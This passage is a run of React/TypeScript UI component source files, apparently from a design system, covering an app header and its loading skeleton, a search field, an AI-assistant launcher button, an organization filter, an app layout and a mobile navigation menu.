boolean;\n  dimmedClass: string;\n}\n\nfunction NotificationsHeaderButton({ fallbackUnreadCount, disabled, dimmedClass }: NotificationsHeaderButtonProps) {\n  const ctx = useOptionalNotifications();\n  const hasUnread = (ctx?.unreadCount ?? fallbackUnreadCount) > 0;\n  const isActive = ctx?.isOpen ?? false;\n  const onClick = ctx?.toggle;\n\n  return (\n    <HeaderButton\n      icon={isActive ? <XmarkIcon className=\"w-6 h-6\" /> : <BellIcon className=\"w-6 h-6\" />}\n      // Shared dot primitive on the cell — same markup every indicator\n      // cell renders (see HeaderButton.showUnreadDot / <UnreadDot>).\n      showUnreadDot={!isActive && hasUnread}\n      aria-label={isActive ? 'Close notifications' : 'Notifications'}\n      onClick={onClick}\n      isActive={isActive}\n      disabled={disabled || !onClick}\n      className={dimmedClass}\n    />\n  );\n}\n\nexport default AppHeader;\n\n// Literal class strings — Tailwind's scanner needs to see them spelled out.\nconst CELL_VISIBILITY: Record<Exclude<HeaderLoadingCell, 'wide'>, string | undefined> = {\n  icon: undefined,\n  'icon-md': 'hidden md:flex',\n  'icon-lg': 'hidden lg:flex',\n};\n\n/** One trailing action cell placeholder — mirrors the live cells' 48/56px box. */\nfunction HeaderCellSkeleton({ className }: { className?: string }) {\n  return (\n    <div\n      className={cn(\n        'flex h-full w-14 shrink-0 items-center justify-center border-l border-ods-border',\n        className,\n      )}\n    >\n      <div className=\"h-6 w-6 animate-pulse rounded bg-ods-border\" />\n    </div>\n  );\n}\n\n/**\n * Wide cell placeholder — mirrors `HeaderMingoButton` at both widths, which are\n * two different shapes: the live button gets `iconOnly={!isMdUp}`, so below md it\n * drops its wordmark and collapses to the same 48px square as any other cell, and\n * from md it is the fixed 140px labelled cell. Reserving 140px-worth of icon,\n * label, gap and padding on a phone would make the placeholder cluster ~70px\n * wider than the header it hands off to.\n */\nfunction HeaderWideCellSkeleton() {\n  return (\n    <div className=\"flex h-full w-14 shrink-0 items-center justify-center gap-2 border-l border-ods-border md:w-[140px] md:px-4\">\n      <div className=\"h-6 w-6 shrink-0 animate-pulse rounded bg-ods-border\" />\n      <div className=\"hidden h-5 animate-pulse rounded bg-ods-border md:block md:w-[72px]\" />\n    </div>\n  );\n}\n\n/**\n * `AppHeader`'s loading state — see `AppHeaderProps.loading`.\n *\n * Keep in sync with `AppHeader` above; a diverging placeholder makes the handoff\n * jump. Every breakpoint decision here is a Tailwind variant on purpose: this is the\n * one thing the live header cannot do (its split runs through `useMdUp()`), and it\n * is the whole reason this branch exists.\n */\nfunction AppHeaderSkeleton({\n  showSearch,\n  actionCells,\n  className,\n}: {\n  showSearch?: boolean;\n  actionCells: number | ReadonlyArray<HeaderLoadingCell>;\n  className?: string;\n}) {\n  const cells: ReadonlyArray<HeaderLoadingCell> =\n    typeof actionCells === 'number'\n      ? Array.from({ length: Math.max(0, actionCells) }, () => 'icon' as const)\n      : actionCells;\n  return (\n    <TopNavigation\n      className={cn('sticky top-0 z-40', className)}\n      centerBreakpoint=\"md\"\n      aria-busy=\"true\"\n      leading={\n        // Burger cell: mobile only, in CSS.\n        <div className=\"flex h-full w-14 shrink-0 items-center justify-center border-r border-ods-border md:hidden\">\n          <div className=\"h-6 w-6 animate-pulse rounded bg-ods-border\" />\n        </div>\n      }\n      logo={\n        <>\n          <div className=\"h-6 w-6 shrink-0 animate-pulse rounded bg-ods-border\" />\n          <div className=\"h-4 w-24 animate-pulse rounded bg-ods-border\" />\n        </>\n      }\n      // `md:hidden` belongs on the WRAPPER, not the placeholder inside it:\n      // `TopNavigation` builds its padded logo zone whenever `logo` is truthy, and\n      // that padding runs to 24px at md and 80px at lg. The live header passes\n      // `false` here from md up, so the zone does not exist at all — leaving the\n      // wrapper visible would inset the search field by 80px on desktop and shift\n      // it back on handoff, which is the exact jump this branch removes.\n      logoClassName=\"gap-2 md:hidden\"\n      // `TopNavigation` already hides the center zone below `centerBreakpoint`.\n      center={showSearch ? <div className=\"h-10 w-full animate-pulse rounded-md bg-ods-border\" /> : undefined}\n      sideActions={\n        <>\n          {/* Mobile-only search trigger; from md the search lives in the center zone. */}\n          {showSearch && <HeaderCellSkeleton className=\"md:hidden\" />}\n          {cells.map((cell, i) =>\n            cell === 'wide' ? (\n              <HeaderWideCellSkeleton key={i} />\n            ) : (\n              <HeaderCellSkeleton key={i} className={CELL_VISIBILITY[cell]} />\n            ),\n          )}\n        </>\n      }\n    />\n  );\n}\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { SearchIcon } from '../icons-v2-generated'\n\nexport interface HeaderGlobalSearchProps {\n  /** Current search value */\n  value?: string\n  /** Callback when search value changes */\n  onChange?: (value: string) => void\n  /** Callback when search is submitted */\n  onSubmit?: (value: string) => void\n  /** Placeholder text */\n  placeholder?: string\n  /** Additional class names */\n  className?: string\n}\n\nexport function HeaderGlobalSearch({\n  value = '',\n  onChange,\n  onSubmit,\n  placeholder = 'Global Search',\n  className\n}: HeaderGlobalSearchProps) {\n  const [internalValue, setInternalValue] = React.useState(value)\n\n  const currentValue = onChange ? value : internalValue\n\n  const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {\n    const newValue = e.target.value\n    if (onChange) {\n      onChange(newValue)\n    } else {\n      setInternalValue(newValue)\n    }\n  }\n\n  const handleSubmit = (e: React.FormEvent) => {\n    e.preventDefault()\n    onSubmit?.(currentValue)\n  }\n\n  const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {\n    if (e.key === 'Enter') {\n      onSubmit?.(currentValue)\n    }\n  }\n\n  return (\n    <form\n      onSubmit={handleSubmit}\n      className={cn(\n        \"flex flex-1 items-center gap-2 h-full px-3\",\n        // Transparent so the cell inherits the bar's background\n        // (TopNavigation `backgroundClassName` can differ per platform).\n        \"bg-transparent\",\n        className\n      )}\n    >\n      <SearchIcon className=\"w-6 h-6 shrink-0 text-ods-text-secondary\" />\n      <input\n        type=\"text\"\n        value={currentValue}\n        onChange={handleChange}\n        onKeyDown={handleKeyDown}\n        placeholder={placeholder}\n        className={cn(\n          \"flex-1 min-w-0 bg-transparent\",\n          \"text-h4\",\n          \"text-ods-text-primary placeholder:text-ods-text-secondary\",\n          \"outline-none border-none\"\n        )}\n      />\n    </form>\n  )\n}\n\nexport default HeaderGlobalSearch\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { MingoIcon } from '../icons'\nimport { XmarkIcon } from '../icons-v2-generated'\n\nexport interface HeaderMingoButtonProps\n  extends React.ButtonHTMLAttributes<HTMLButtonElement> {\n  /** Active/pressed state — set to `true` while the Mingo drawer is open. */\n  isActive?: boolean\n  /** When true, hides the \"Mingo AI\" label and renders only the icon (so the\n   *  control collapses to a square `HeaderButton`-sized affordance on narrow\n   *  viewports). Defaults to `false`. */\n  iconOnly?: boolean\n  className?: string\n}\n\n/**\n * \"Mingo AI\" launcher button for `AppHeader`. Mirrors the `HeaderButton`\n * visual contract (sticky header height, `ods-card` rest / `ods-bg-hover`\n * hover, divider via `AppHeader`'s `divide-x`), but carries both the Mingo\n * logo and the bold \"Mingo AI\" wordmark. The open/active state is exposed via\n * `aria-pressed` (and, in `iconOnly` mode, by swapping the logo for a close\n * \"X\"); there is no distinct active background.\n *\n * Figma: 7532:222103 — `button-full`.\n */\nexport function HeaderMingoButton({\n  isActive = false,\n  iconOnly = false,\n  className,\n  ...props\n}: HeaderMingoButtonProps) {\n  return (\n    <button\n      type=\"button\"\n      aria-label={iconOnly && isActive ? 'Close Mingo AI' : 'Mingo AI'}\n      aria-pressed={isActive}\n      className={cn(\n        'flex items-center shrink-0 h-full gap-2 px-4',\n        // Fixed 140px cell from md, so the header's right-hand cluster has a\n        // known width and a loading placeholder can reserve it exactly\n        // (`AppHeaderProps.loadingActionCells` → `'wide'`). Content-width below\n        // md, and in `iconOnly` mode, where the control is a square affordance.\n        !iconOnly && 'md:w-[140px] md:justify-center',\n        'transition-colors duration-200',\n        'focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent',\n        // Transparent at rest so the cell inherits the bar's background\n        // (TopNavigation `backgroundClassName` can differ per platform).\n        'text-ods-text-primary bg-transparent hover:bg-ods-bg-hover',\n        className,\n      )}\n      {...props}\n    >\n      {iconOnly && isActive ? (\n        // Mobile, drawer open: the icon-only button doubles as the close\n        // affordance, so swap the Mingo logo for an X. Match the other header\n        // icons (e.g. notifications): secondary color, w-4 h-4 → md:w-6 h-6.\n        <XmarkIcon className=\"w-6 h-6 shrink-0 text-ods-text-secondary\" />\n      ) : (\n        // Outer frame follows the button's text color (currentColor); the eyes\n        // and corner block are ODS cyan.\n        <MingoIcon\n          color=\"currentColor\"\n          eyesColor=\"var(--ods-flamingo-cyan-base)\"\n          cornerColor=\"var(--ods-flamingo-cyan-base)\"\n          className=\"w-6 h-6 shrink-0\"\n        />\n      )}\n      {!iconOnly && (\n        <span className=\"text-h3 font-bold tracking-[-0.36px] whitespace-nowrap\">\n          Mingo AI\n        </span>\n      )}\n    </button>\n  )\n}\n\nexport default HeaderMingoButton\n","'use client'\n\nimport { cn } from '../../utils/cn'\nimport { Filter02Icon } from '../icons-v2-generated'\nimport { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger } from '../ui'\n\nexport interface HeaderOrganizationFilterOrganization {\n  id: string\n  name: string\n  deviceCount?: number\n}\n\nexport interface HeaderOrganizationFilterProps {\n  /** List of organizations */\n  organizations?: HeaderOrganizationFilterOrganization[]\n  /** Currently selected organization ID */\n  selectedOrgId?: string\n  /** Callback when organization changes */\n  onOrgChange?: (id: string) => void\n  /** Total device count (shown when \"All Organizations\" is selected) */\n  totalDeviceCount?: number\n  /** Additional class names */\n  className?: string\n}\n\nexport function HeaderOrganizationFilter({\n  organizations = [],\n  selectedOrgId,\n  onOrgChange,\n  totalDeviceCount,\n  className\n}: HeaderOrganizationFilterProps) {\n  const selectedOrg = organizations.find(o => o.id === selectedOrgId)\n  const displayName = selectedOrg?.name || 'All Organizations'\n  const deviceCount = selectedOrg?.deviceCount ?? totalDeviceCount\n\n  return (\n    <DropdownMenu>\n      <DropdownMenuTrigger asChild>\n        <button\n          className={cn(\n            \"flex items-center gap-4 h-full px-4\",\n            // Transparent so the cell inherits the bar's background.\n            \"bg-transparent border-l border-ods-border\",\n            \"w-[240px] shrink-0\",\n            \"hover:bg-ods-bg-hover transition-colors\",\n            className\n          )}\n        >\n          <Filter02Icon className=\"w-4 h-4 shrink-0 text-ods-text-secondary\" />\n          <div className=\"flex flex-col items-start justify-center min-w-0\">\n            <span className=\"text-h5 text-ods-text-primary truncate\" title={displayName}>\n              {displayName}\n            </span>\n            {deviceCount !== undefined && (\n              <span className=\"text-h6 text-ods-text-secondary truncate\">\n                {deviceCount.toLocaleString()} Devices\n              </span>\n            )}\n          </div>\n        </button>\n      </DropdownMenuTrigger>\n      <DropdownMenuContent align=\"end\" className=\"min-w-[240px]\">\n        <DropdownMenuItem onClick={() => onOrgChange?.('')}>\n          All Organizations\n        </DropdownMenuItem>\n        {organizations.map(org => (\n          <DropdownMenuItem\n            key={org.id}\n            onClick={() => onOrgChange?.(org.id)}\n          >\n            {org.name}\n          </DropdownMenuItem>\n        ))}\n      </DropdownMenuContent>\n    </DropdownMenu>\n  )\n}\n\nexport default HeaderOrganizationFilter\n","'use client'\n\nimport { useCallback, useMemo, useRef, useState } from 'react'\nimport { NavigationSidebarConfig } from '../../types/navigation'\nimport { cn } from '../../utils'\nimport { NotificationDrawer } from '../features/notifications/notification-drawer'\nimport { AppHeader, AppHeaderProps } from './app-header'\nimport {\n  AppLayoutDrawerContainerContext,\n  type AppLayoutDrawerCoordination,\n  AppLayoutDrawerCoordinationContext,\n  type AppLayoutDrawerHandle,\n} from './app-layout-context'\nimport { MobileBurgerMenu, MobileBurgerMenuProps } from './mobile-burger-menu'\nimport { NavigationSidebar } from './navigation-sidebar'\n\nexport { useAppLayoutDrawerContainer, useAppLayoutDrawerCoordination } from './app-layout-context'\nexport type { AppLayoutDrawerHandle } from './app-layout-context'\n\nexport interface AppLayoutProps {\n  children: React.ReactNode\n  sidebarConfig: NavigationSidebarConfig\n  headerProps: Omit<AppHeaderProps, 'isMobileMenuOpen' | 'onToggleMobileMenu' | 'disabled'>\n  mainClassName?: string\n  className?: string\n  mobileBurgerMenuProps: Omit<MobileBurgerMenuProps, 'isOpen' | 'onClose' | 'config' | 'disabled'>\n  /**\n   * When true, disables navigation/header chrome interactions except the mobile\n   * burger menu toggle and the sidebar collapse/expand button. Main content\n   * (`children`) is not affected and stays fully interactive.\n   */\n  disabled?: boolean\n  /**\n   * Slot for an in-layout drawer (typically an `AppLayoutDrawer` tree). Rendered\n   * inside the layout's drawer-container context so the drawer can portal into\n   * the main-area container. Keeping it separate from `children` clarifies that\n   * the drawer is part of the layout chrome, not page content.\n   */\n  drawer?: React.ReactNode\n  /**\n   * Full-width banner rendered ABOVE both the sidebar and the header, spanning\n   * the entire viewport width and pinned to the top of the layout. Optional —\n   * when omitted the layout is unchanged. Used for global, cross-page callouts\n   * (e.g. an onboarding \"complete your setup\" bar). The sidebar + header + main\n   * area occupy the remaining height below it.\n   */\n  topBar?: React.ReactNode\n}\n\nexport function AppLayout({\n  children,\n  sidebarConfig,\n  headerProps,\n  mainClassName,\n  className,\n  mobileBurgerMenuProps,\n  disabled = false,\n  drawer,\n  topBar,\n}: AppLayoutProps) {\n  const [mobileMenuOpen, setMobileMenuOpen] = useState(false)\n  const [drawerContainer, setDrawerContainer] = useState<HTMLDivElement | null>(null)\n\n  // Mirrors `mobileMenuOpen` so the toggle callback can stay identity-stable.\n  const mobileMenuOpenRef = useRef(mobileMenuOpen)\n  mobileMenuOpenRef.current = mobileMenuOpen\n\n  const drawerHandlesRef = useRef(new Set<AppLayoutDrawerHandle>())\n\n  const handleToggleMobileMenu = useCallback(() => {\n    const opening = !mobileMenuOpenRef.current\n    // Opening the menu closes any open in-layout drawer — otherwise the menu\n    // would open invisibly underneath it (the drawer renders above the menu).\n    if (opening) {\n      for (const handle of drawerHandlesRef.current) handle.close()\n    }\n    setMobileMenuOpen(opening)\n  }, [])\n\n  const handleCloseMobileMenu = useCallback(() => {\n    setMobileMenuOpen(false)\n  }, [])\n\n  const drawerCoordination = useMemo<AppLayoutDrawerCoordination>(() => ({\n    notifyDrawerDidOpen: (self) => {\n      setMobileMenuOpen(false)\n      // Only one in-layout panel may be open at a time — each dims the main\n      // area, so stacking them reads as broken.\n      for (const handle of drawerHandlesRef.current) {\n        if (handle !== self) handle.close()\n      }\n    },\n    registerDrawer: (handle) => {\n      drawerHandlesRef.current.add(handle)\n      return () => drawerHandlesRef.current.delete(handle)\n    },\n  }), [])\n\n  return (\n    <AppLayoutDrawerContainerContext.Provider value={drawerContainer}>\n      <AppLayoutDrawerCoordinationContext.Provider value={drawerCoordination}>\n      <div className={cn(\"flex flex-col h-screen bg-ods-bg\", className)}>\n        {/* Full-width top banner above sidebar + header (optional) */}\n        {topBar}\n        {/* Sidebar + header + main occupy the remaining height below the banner.\n            `relative` so the tablet sidebar (position:absolute) anchors to this\n            row — below the topBar — instead of the viewport. */}\n        <div className=\"flex flex-1 min-h-0 relative\">\n        <NavigationSidebar config={sidebarConfig} disabled={disabled} />\n        {/* Mobile Burger Menu - opens below header */}\n        <MobileBurgerMenu\n          {...mobileBurgerMenuProps}\n          isOpen={mobileMenuOpen}\n          onClose={handleCloseMobileMenu}\n          config={sidebarConfig}\n          disabled={disabled}\n        />\n\n        {/* Main Content Area */}\n        <div className=\"flex-1 flex flex-col overflow-hidden\">\n          <AppHeader\n            {...headerProps}\n            isMobileMenuOpen={mobileMenuOpen}\n            onToggleMobileMenu={handleToggleMobileMenu}\n            disabled={disabled}\n          />\n          <NotificationDrawer />\n\n          {/* Main + AppLayoutDrawer portal target. `relative` so the drawer\n              can absolutely position within just this area (not over\n              header/sidebar); `overflow-hidden` clips the drawer's slide-in\n              animation visually AND contains layout overflow so it doesn't\n              propagate up to <html>. (Scroll-snap-back below handles the\n              browser's programmatic scroll-on-focus side effect.) */}\n          <div\n            ref={setDrawerContainer}\n            className=\"flex-1 flex flex-col relative overflow-hidden\"\n          >\n            <main className={cn(\"flex-1 overflow-y-auto\", mainClassName)}>\n              {children}\n            </main>\n            {/* `drawer` slot — rendered here so it sits inside the\n                AppLayoutDrawerContainerContext and can portal into this exact\n                container. Mount location is irrelevant for visual placement\n                (Radix Portal handles that), but keeping it close to the target\n                makes the React tree match the visual nesting. */}\n            {drawer}\n          </div>\n        </div>\n        </div>\n      </div>\n      </AppLayoutDrawerCoordinationContext.Provider>\n    </AppLayoutDrawerContainerContext.Provider>\n  )\n}\n","\"use client\"\n\nimport React, { useCallback, useRef } from 'react'\nimport { usePreventScroll } from '@react-aria/overlays'\nimport { NavigationSidebarConfig, NavigationSidebarItem } from '../../types/navigation'\nimport { cn } from '../../utils'\nimport { useFocusTrap } from '../../hooks/ui/use-focus-trap'\nimport { Logout02Icon, PenEditIcon, UserSearchIcon } from '../icons-v2-generated'\nimport { Button, SquareAvatar } from '../ui'\nimport { OVERLAY_BACKDROP_CLASS } from '../ui/drawer'\n\n// Header height constant — the unified top-navigation `small` bar (56px on all screens)\nconst HEADER_HEIGHT = 56\n\nexport interface MobileBurgerMenuProps {\n  /** Whether the menu is open */\n  isOpen: boolean\n  /** Callback to close the menu */\n  onClose: () => void\n  /** Sidebar configuration */\n  config: NavigationSidebarConfig\n  /** User info for the header card */\n  user?: {\n    userName?: string\n    userEmail?: string\n    userAvatarUrl?: string | null\n    userRole?: string\n  }\n  /** Callback when search user button is clicked */\n  onSearchUser?: () => void\n  /** Callback when edit profile button is clicked */\n  onEditProfile?: () => void\n  /** Callback when logout button is clicked */\n  onLogout?: () => void\n  /**\n   * When true, all interactive items inside the menu (nav items, action buttons,\n   * logout) are disabled. The burger toggle and backdrop click to close still work.\n   */\n  disabled?: boolean\n}\n\nexport const MobileBurgerMenu = React.memo(function MobileBurgerMenu({\n  isOpen,\n  onClose,\n  config,\n  user,\n  onSearchUser,\n  onEditProfile,\n  onLogout,\n  disabled = false,\n}: MobileBurgerMenuProps) {\n  const panelRef = useRef<HTMLDivElement>(null)\n\n  // Shared ref-counted, iOS-aware scroll lock (react-aria) while open.\n  usePreventScroll({ isDisabled: !isOpen })\n  // Initial focus, Tab containment, Escape-to-close, guarded focus restore.\n  useFocusTrap(panelRef, isOpen, { onEscape: onClose })\n\n  const handleItemClick = useCallback((item: NavigationSidebarItem) => {\n    if (item.onClick) {\n      item.onClick()\n    } else if (item.path) {\n      config.onNavigate?.(item.path)\n    }\n    onClose()\n  }, [config, onClose])\n\n  // Separate primary and secondary items\n  const primaryItems = config.items.filter(item => item.section !== 'secondary')\n  const secondaryItems = config.items.filter(item => item.section === 'secondary')\n\n  const renderNavigationItem = (item: NavigationSidebarItem, isGridItem = false) => {\n    const isActive = item.isActive ?? false\n\n    return (\n      <button\n        key={item.id}\n        onClick={() => handleItemClick(item)}\n        disabled={disabled}\n        className={cn(\n          \"flex items-center gap-1 p-3 relative\",\n          \"focus:outline-none focus-visible:outline-none\",\n          \"transition-colors duration-200\",\n          \"bg-ods-card border border-ods-border rounded-md\",\n          !disabled && \"hover:bg-ods-bg-hover\",\n          isGridItem ? \"w-full min-w-0\" : \"w-full\",\n          // Active state\n          isActive && !disabled && \"border-ods-accent\",\n          // Disabled state\n          disabled && \"cursor-not-allowed opacity-50\"\n        )}\n        aria-current={isActive ? 'page' : undefined}\n      >\n        {/* Icon */}\n        {item.icon && (\n          <div className=\"flex-shrink-0 size-4 flex items-center justify-center\">\n            {React.cloneElement(item.icon as React.ReactElement<any>, {\n              size: 16,\n              color: isActive && !disabled ? \"var(--color-accent-primary)\" : \"var(--color-text-secondary)\"\n            })}\n          </div>\n        )}\n\n        {/* Label */}\n        <span className={cn(\n          \"text-h6 flex-1 text-left truncate\",\n          isActive && !disabled ? \"text-ods-accent\" : \"text-ods-text-primary\"\n        )}>\n          {item.label}\n        </span>\n      </button>\n    )\n  }\n\n  // Render grid of navigation items (2 columns). CSS grid keeps a lone last-row\n  // item exactly one column wide (aligned with the column above) instead of\n  // stretching to fill the row.\n  const renderNavigationGrid = (items: NavigationSidebarItem[]) => (\n    <div className=\"grid grid-cols-2 gap-3\">\n      {items.map((item) => (\n        <React.Fragment key={item.id}>\n          {renderNavigationItem(item, true)}\n        </React.Fragment>\n      ))}\n    </div>\n  )\n\n  return (\n    <>\n      {/* Dim backdrop (no blur, unified with Drawer) - positioned below header.\n          `absolute` (not `fixed`) so it anchors to the AppLayout row it renders in\n          — the row that sits BELOW the optional `topBar` banner — rather than the\n          viewport. This keeps `top: HEADER_HEIGHT` measured from just under the\n          header even when a top banner pushes the header down. With no banner the\n          row fills the viewport, so this is identical to the previous behavior. */}\n      <div\n        className={cn(\n          \"absolute inset-0 z-[100] md:hidden\",\n          OVERLAY_BACKDROP_CLASS,\n          \"transition-all duration-300 motion-reduce:transition-none\",\n          isOpen ? \"opacity-100\" : \"opacity-0 pointer-events-none\"\n        )}\n        style={{ top: HEADER_HEIGHT }}\n        onClick={onClose}\n        aria-hidden=\"true\"\n      />\n\n      {/* Menu Panel - positioned below header with slide-down animation. `absolute`\n          for the same reason as the backdrop above (anchors below the topBar). */}\n      <div\n        ref={panelRef}\n        className={cn(\n          \"absolute left-0 right-0 z-[101] md:hidden\",\n          \"flex flex-col\",\n          \"bg-ods-bg border-b border-ods-border\",\n          \"transition-all duration-300 ease-out motion-reduce:transition-none\",\n          \"overflow-hidden\",\n          isOpen\n            ? \"opacity-100 translate-y-0\"\n            : \"opacity-0 -translate-y-4 pointer-events-none\"\n        )}\n        style={{\n          top: HEADER_HEIGHT,\n          maxHeight: `calc(100% - ${HEADER_HEIGHT}px)`,\n        }}\n        role=\"dialog\"\n        aria-modal=\"true\"\n        aria-label=\"Mobile navigation menu\"\n        tabIndex={-1}\n        // Stays mounted while hidden (opacity-0) — inert keeps its items out\n        // of the tab order when closed.\n        inert={!isOpen || undefined}\n      >\n        {/* Scrollable Content */}\n        <div className=\"flex-1 overflow-y-auto overflow-x-hidden overscroll-contain p-4 flex flex-col gap-4\">\n          {/* User Card */}\n          {user && (\n            <div\n              className={cn(\n                \"flex items-center gap-3 p-3 bg-ods-card border border-ods-border rounded-md\",\n                disabled && \"pointer-events-none opacity-50\"\n              )}\n              aria-disabled={disabled || undefined}\n            >\n              <SquareAvatar\n                src={user.userAvatarUrl || undefined}\n                alt={user.userName || 'User'}\n                fallback={user.userName}\n                size=\"lg\"\n                variant=\"round\"\n                className=\"w-14 h-14 shrink-0\"\n              />\n\n              {/* User Info */}\n              <div className=\"flex-1 min-w-0 flex flex-col\">\n                <div className=\"flex items-center gap-2\">\n                  <span className=\"text-h6 text-ods-text-primary truncate\">\n                    {user.userName || 'User'}\n                  </span>\n                  {user.userRole && (\n                    <span className=\"shrink-0 px-2 py-0.5 bg-ods-card border border-ods-border rounded-md text-h6 uppercase text-ods-text-primary\">\n                      {user.userRole}\n                    </span>\n                  )}\n                </div>\n                {user.userEmail && (\n                  <span className=\"text-h6 text-ods-text-secondary truncate\">\n                    {user.userEmail}\n                  </span>\n                )}\n              </div>\n\n              {/* Action Buttons */}\n              <div className=\"flex items-center gap-2 shrink-0\">\n                {onSearchUser && (\n                  <Button\n                    size=\"icon\"\n                    onClick={onSearchUser}\n                    variant=\"outline\"\n                    aria-label=\"Search users\"\n                  >\n                    <UserSearchIcon className=\"size-4 text-ods-text-primary\" />\n                  </Button>\n                )}\n                {onEditProfile && (\n                  <Button\n                    size=\"icon\"\n                    onClick={onEditProfile}\n                    variant=\"outline\"\n                    aria-label=\"Edit profile\"\n                  >\n                    <PenEditIcon className=\"size-4 text-ods-text-primary\" />\n                  </Button>\n                )}\n              </div>\n            </div>\n          )}\n\n          {/* Host-owned action above the nav — the same slot the sidebar\n              renders, so a host passes `topSlot` once and both surfaces get it.\n              Never minimized: this panel is always the full width of the phone. */}\n          {config.topSlot?.({ minimized: false })}\n\n          {/* Primary Navigation Items - Grid Layout */}\n          <nav aria-label=\"Primary navigation\">\n            {renderNavigationGrid(primaryItems)}\n          </nav>\n\n          {/* Secondary Navigation Items - Full Width */}\n          {secondaryItems.length > 0 && (\n            <nav aria-label=\"Secondary navigation\" className=\"flex flex-col gap-3\">\n              {secondaryItems.map((item) => (\n                <React.Fragment key={item.id}>\n                  {renderNavigationItem(item, false)}\n                </React.Fragment>\n              ))}\n            </nav>\n          )}\n\n          {/* Logout Button */}\n          {onLogout && (\n            <button\n              onClick={onLogout}\n              disabled={disabled}\n              className={cn(\n                \"w-full flex items-center gap-1 p-3 bg-ods-card border border-ods-border rounded-md transition-colors\",\n                !disabled && \"hover:bg-ods-bg-hover\",\n                disabled && \"cursor-not-allowed opacity-50\"\n              )}\n            >\n              <Logout02Icon className=\"size-4 text-ods-error\" />\n              <span className=\"text-h6 flex-1 text-left text-ods-text-primary\">\n                Log Out\n              </span>\n            </button>\n          )}\n        </div>\n\n      </div>\n    </>\n  )\n})\n","\"use client\"\n\nimport { ChevronRight, ChevronDown, ChevronUp, FileText, Folder, FolderOpen } from 'lucide-react'\nimport { cn } from '../../utils/cn'\nimport { DEFAULT_FOLDER_INDEX_FILE as CANONICAL_FOLDER_INDEX_FILE } from '../../utils/doc-tree-nav'\n\nexport interface NavigationNode {\n  id: string\n  name: string\n  path: string\n  type: 'file' | 'folder'\n  hasReadme?: boolean\n  children?: NavigationNode[]\n  slug?: string\n  // Mirror DocNode's extra optional fields so a DocNode tree is structurally\n  // assignable to NavigationNode[] without an `as` cast. NavigationNode\n  // intentionally never reads these — they're carried for type-compat only.\n  documentType?: 'markdown' | 'pdf' | 'google_sheet' | 'figma' | 'file'\n  sortOrder?: number\n}\n\ninterface MultiLevelNavigationProps {\n  nodes: NavigationNode[]\n  selectedPath: string\n  expandedNodes: Set<string>\n  onNodeClick: (node: NavigationNode) => void\n  onToggleExpand?: (nodeId: string) => void\n  isLoading?: boolean\n  className?: string\n  /** Folder-index filename (default `'README.md'`, case-insensitive). When the\n   *  selectedPath is a folder with this file, the visual ribbon moves to the\n   *  child file. */\n  folderIndexFile?: string\n}\n\n// SSOT lives in `doc-tree-nav` (canonical case `'README.md'`). The visual\n// comparator below lowercases both sides, so re-exporting the canonical\n// constant under the same local name preserves call-site syntax without\n// drifting from the SSOT.\nconst DEFAULT_FOLDER_INDEX_FILE = CANONICAL_FOLDER_INDEX_FILE\n\n/**\n * Compute the visual \"selected\" state for a navigation node.\n *\n * Folder-with-README convention: when `selectedPath` is a folder that has a\n * README, the FOLDER doesn't get the ribbon — its README child does. The folder\n * is just a container; the README is the actual document being viewed.\n *\n * Mirror case: a README file whose parent folder is the `selectedPath` gets the\n * visual selection ribbon (implicit). This handles both the auto-select-first-\n * folder landing path AND the user-clicks-folder case.\n */\nfunction isNodeVisuallySelected(\n  node: NavigationNode,\n  selectedPath: string,\n  folderIndexFile: string = DEFAULT_FOLDER_INDEX_FILE,\n): boolean {\n  const FOLDER_INDEX_FILE = folderIndexFile.toLowerCase()\n  // Path comparisons keyed on `node.path` (raw, includes `.md`). Do NOT use\n  // `node.name` — the tree-builder runs it through `formatDocName` which strips\n  // the `.md` extension, so `node.name.toLowerCase() === 'readme.md'` is always\n  // false.\n  if (selectedPath === node.path) {\n    // Explicit match — but folder-with-README defers to its README child.\n    return !(node.type === 'folder' && node.hasReadme)\n  }\n  if (node.type !== 'file') return false\n  const pathLower = node.path.toLowerCase()\n  // Implicit: README child whose parent folder is the selectedPath.\n  if (\n    selectedPath !== '' &&\n    pathLower === `${selectedPath.toLowerCase()}/${FOLDER_INDEX_FILE}`\n  ) {\n    return true\n  }\n  // Implicit: ROOT README on the landing page (selectedPath === '' means\n  // \"no explicit doc selected\" — the viewer falls back to the root folder-\n  // index file, so that file IS the active document).\n  if (selectedPath === '' && pathLower === FOLDER_INDEX_FILE) {\n    return true\n  }\n  return false\n}\n\nexport function MultiLevelNavigation({\n  nodes,\n  selectedPath,\n  expandedNodes,\n  onNodeClick,\n  onToggleExpand,\n  isLoading,\n  className,\n  folderIndexFile = DEFAULT_FOLDER_INDEX_FILE,\n}: MultiLevelNavigationProps) {\n  if (isLoading) {\n    return (\n      <div className={cn(\"space-y-2\", className)}>\n        {[1, 2, 3, 4].map((i) => (\n          <div key={i} className=\"p-3 bg-ods-skeleton rounded-lg animate-pulse h-12\" />\n        ))}\n      </div>\n    )\n  }\n\n  return (\n    <div className={cn(\"space-y-2\", className)} role=\"list\" aria-label=\"Navigation list\">\n      {nodes.map(node => (\n        <NavigationItem\n          key={node.id}\n          node={node}\n          selectedPath={selectedPath}\n          expandedNodes={expandedNodes}\n          onNodeClick={onNodeClick}\n          onToggleExpand={onToggleExpand}\n          level={0}\n          folderIndexFile={folderIndexFile}\n        />\n      ))}\n    </div>\n  )\n}\n\ninterface NavigationItemProps {\n  node: NavigationNode\n  selectedPath: string\n  expandedNodes: Set<string>\n  onNodeClick: (node: NavigationNode) => void\n  onToggleExpand?: (nodeId: string) => void\n  level: number\n  folderIndexFile: string\n}\n\nfunction NavigationItem({\n  node,\n  selectedPath,\n  expandedNodes,\n  onNodeClick,\n  onToggleExpand,\n  level,\n  folderIndexFile,\n}: NavigationItemProps) {\n  const isExpanded = expandedNodes.has(node.id)\n  const isSelected = isNodeVisuallySelected(node, selectedPath, folderIndexFile)\n  const hasChildren = node.children && node.children.length > 0\n\n  return (\n    <div className=\"space-y-1\" role=\"listitem\">\n      <div className={cn(\"px-2\", level > 0 && \"ml-4\")}>\n        <div\n          className={cn(\n            \"w-full rounded-lg transition-all duration-150 border relative\",\n            isSelected\n              ? \"bg-ods-border border-ods-border\"\n              : \"bg-ods-card 